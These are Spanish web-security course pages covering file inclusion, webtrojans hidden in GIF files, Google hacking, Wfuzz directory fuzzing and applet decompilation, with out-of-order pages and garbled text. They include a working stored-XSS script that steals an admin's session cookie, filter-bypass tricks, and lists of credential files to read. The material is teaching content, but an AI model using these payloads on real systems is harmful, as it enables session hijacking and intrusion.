CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
